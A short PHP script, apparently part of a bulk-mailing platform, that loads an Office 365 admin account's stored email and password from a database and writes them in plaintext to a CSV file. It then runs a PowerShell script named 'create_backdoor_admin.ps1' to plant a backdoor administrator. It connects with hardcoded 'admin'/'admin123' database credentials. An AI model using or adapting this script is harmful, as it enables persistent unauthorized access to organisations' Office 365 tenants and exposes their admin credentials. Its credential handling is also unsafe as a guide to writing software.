27 lines
947 B
PHP
Executable File
27 lines
947 B
PHP
Executable File
<?php
|
|
$aid = intval($_GET['id'] ?? 0);
|
|
if(!$aid) die("ID manquant - usage: ?id=XX");
|
|
|
|
try {
|
|
$db = new PDO("pgsql:host=localhost;dbname=adx_system", "admin", "admin123");
|
|
$stmt = $db->prepare("SELECT * FROM admin.office_accounts WHERE id = ?");
|
|
$stmt->execute([$aid]);
|
|
$acc = $stmt->fetch(PDO::FETCH_ASSOC);
|
|
|
|
if(!$acc) die("Compte ID $aid non trouvé");
|
|
|
|
file_put_contents('/opt/wevads/storage/office365/khalil.csv', $acc['admin_email'].','.$acc['admin_password']);
|
|
file_put_contents('/opt/wevads/storage/office365/current_account.json', json_encode($acc, JSON_PRETTY_PRINT));
|
|
|
|
echo "<pre>Compte: {$acc['name']}\n";
|
|
echo "Email: {$acc['admin_email']}\n";
|
|
echo "Exécution du script...\n\n";
|
|
flush();
|
|
|
|
echo shell_exec('timeout 90 pwsh /opt/wevads/scripts/office365/create_backdoor_admin.ps1 2>&1');
|
|
echo "</pre>";
|
|
} catch(Exception $e) {
|
|
die("Erreur: " . $e->getMessage());
|
|
}
|
|
|